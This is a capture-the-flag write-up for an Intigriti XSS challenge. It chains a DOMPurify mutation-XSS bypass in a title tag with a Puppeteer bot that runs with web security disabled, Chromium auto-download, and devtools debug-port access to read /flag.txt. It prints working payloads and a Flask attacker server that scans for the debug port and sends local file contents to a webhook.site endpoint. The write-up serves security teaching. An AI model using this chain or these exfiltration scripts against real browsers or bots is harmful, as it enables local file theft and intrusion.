Find the flag and win Intigriti swag.
Author: Me :3
Rules:
The solution...
Test your payloads down below and on the challenge page here!
Let's pop an alert!
Using the source code available at the bottom of each page, it is possible to gather the following information:
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Intigriti XSS Challenge - <%- title %></title>
app.use((req, res) => {
res.status(404);
res.render("404", { title: getTitle(req.path) });
})
const getTitle = (path) => {
path = decodeURIComponent(path).split("/");
path = path.slice(-1).toString();
return DOMPurify.sanitize(path);
}
Even though a state-of-the-art sanitizer (DOMPurify) is in use, this situation is quite special due to:
Why are these details important?
Because this is a typical server-side > client-side mutation XSS situation!
How does this kind of issue occur?
To understand how a mXSS can occur, it is crucial to understand the discrepancy between what the sanitizer (DOMPurify) sees against what the client receives:
From the sanitizer perspective, it's unaware that the current sanitizing input is nested within a <title> tag while the browser will receive the whole page once.
This parsing differential allows exploitation of the browser's parsing priority for the <title> tag, enabling a mutation XSS attack!
More information about this type of vulnerability can be found here.Therefore, this approach won't work directly in the challenge context because the getTitle function splits the user input on /. To bypass this restriction, it is important to understand how does DOMPurify works:
1. Generate a DOM Tree using new DOMParser().parseFromString(unsafe_HTML, "text/html") (ref).
2. Sanitize the DOM Tree based on the provided configuration (ref).
3. Serialize the DOM Tree back to a string using body.innerHTML (ref).
Thanks to the innerHTML serialization, HTML attributes value are HTML decoded!
var dom_tree = new DOMParser().parseFromString(`<p id="</title><h1>HELLO :)</h1>"></p>`, "text/html");
dom_tree.body.innerHTML;
Taking advantage of this, navigating to /<p id="<%26sol%3Btitle><script>alert()<%26sol%3Bscript>"> result in an XSS 🔥
For this month's challenge, getting an XSS isn,'t enough to solve the challenge. In fact, you must also read /flag.txt.
But, how can a local file be accessed from a client side XSS?
Indeed, in the context of orchestrated browsers, there are several ways to accomplish this:
Unfortunately, none of those issues would work in the challenge context (chromium 117). Thus, to achieve the local file disclosure, it is important to focus on the bot's configuration:
const browser = await puppeteer.launch({
headless: "new",
ignoreHTTPSErrors: true,
args: [
"--no-sandbox",
"--ignore-certificate-errors",
"--disable-web-security"
],
executablePath: "/usr/bin/chromium-browser"
});
From the above snippet, we can get see that --disable-web-security is enabled! This is a crucial part of the exploitation as it disables the Same Origin Policy, allowing Javascript to interact with any website. For example:
const leak_url = "https://webhook.site/332b8b7a-9a08-4c3e-bb5d-59bf9b1bc95f";
fetch("https://mizu.re").then(d => d.text()).then((d) => {
// Leak cross-site content
fetch(leak_url, { method: "POST", body: d });
})
So, if we fetch file:///flag.txt we can get the flag?
Not really :/ Nowadays, browser security limits file:/// access, even if the Same Origin Policy is disabled.
Thus, if it isn't a file:/// to file:/// request, it won't work!
Then, how could we abuse this?
In fact, there's still an interesting browser feature: devtools debug port ❤️
This can be use to remotely control a chromium browser and it is enabled by default on puppeteer! This HTTP service is open randomly port inside 30000 - 50000 (setting it to 0 = random) and can be used to: (ref)
So, due to the --disable-web-security flag, it is possible to communicate freely with the devtools debug port! However, this is where it becomes tricky. Indeed, since chromium 115, it is not possible to communicate with the websocket if --remote-allow-origins is not in use, which is the case of the challenge.
Therefore, if we could somehow control a file on the local system, we would be able to:
1. Use devtools debug port to open file:///.
2. Trigger an XSS on file:///.
3. Abuse --disable-web-security to read and leak /flag.txt.
The easiest way to control file on the local system, is to abuse auto-download features which is enabled by default on the new headless mode of chromium! 👀
Here is a small code to do it:
from flask import Flask, Response
app = Flask(__name__)
@app.route("/dl/<path:path>")
def download(path):
return Response("mizu :p", mimetype="application/octet-stream;charset=utf-8")
if __name__ == "__main__":
app.run("0.0.0.0", 5000)
Sending the bot to /dl/poc.html will download the file to /home/challenge/Downloads/poc.html.
Then, in order to get an the flag, we just need to embed the flag into an iframe and read it using javascript :p
<iframe src="file:///flag.txt"></iframe>
<script>
const exfilt_url = "https://webhook.site/332b8b7a-9a08-4c3e-bb5d-59bf9b1bc95f";
fetch(`${exfilt_url}?log=starting_exploit`);
setTimeout(() => {
var x = btoa(frames[0].window.document.body.innerHTML);
fetch(`${exfilt_url}?file_content=${x}`);
}, 200)
</script>
1. Auto download a file → default path /home/<user>/Downloads/<file-name>.
2. Find debug port.
3. PUT to open downloaded file:/// in a new tab.
4. Use file context + no SOP -> iframe to leak local file content.
from flask import Flask, Response
from time import sleep
app = Flask(__name__)
app.config["DEBUG"] = True
exfilt_url = "https://webhook.site/332b8b7a-9a08-4c3e-bb5d-59bf9b1bc95f"
exploit_path = "file:///home/challenge/Downloads/poc.html"
wanted_page = "file:///flag.txt"
@app.route("/dl/<path:path>")
def download(path):
return Response("""
<iframe src="%s"></iframe>
<script>
const exfilt_url = "%s";
fetch(`${exfilt_url}?log=starting_exploit`);
setTimeout(() => {
var x = btoa(frames[0].window.document.body.innerHTML);
fetch(`${exfilt_url}?file_content=${x}`);
}, 200)
</script>
""" % (wanted_page, exfilt_url)
, mimetype="application/octet-stream;charset=utf-8")
@app.route("/wait")
def wait():
sleep(30)
return "OK!"
@app.route("/")
def index():
return """
<img src="/wait">
<script>open("/dl/poc.html")</script>
<script>
const exfilt_url = "%s";
const exploit_path = "%s";
// Open poc.html
const run_exploit = (p) => {
fetch(`${exfilt_url}?log=openning_file&path=${exploit_path}`);
fetch(`http://localhost:${p}/json/new?${exploit_path}`, {
method: "PUT"
})
}
// Search port
const test_port = (p) => {
var script = document.createElement("script");
script.src = `http://localhost:${p}/json/list`;
script.onload = () => {
fetch(`${exfilt_url}/port=${p}`);
run_exploit(p);
}
script.onerror = () => {
if (p %% 1000 == 0) {
fetch(`${exfilt_url}/log=FAILLURE&port=${p}`);
}
test_port(p+1);
}
document.body.appendChild(script);
}
fetch(`${exfilt_url}?log=start_port_fuzzing`);
test_port(30000);
</script>
""" % (exfilt_url, exploit_path)
if __name__ == "__main__":
app.run("0.0.0.0", 5000)
Run the python script and navigate to: /api/report?url=/<p id="<%26sol%3Btitle><script>location.href='http:%26sol%3B%26sol%3B172.17.0.1:5000'<%26sol%3Bscript>">.
Flag: INTIGRITI{Pupp3t3eR_wIth0ut_S0P_LFI} 🎉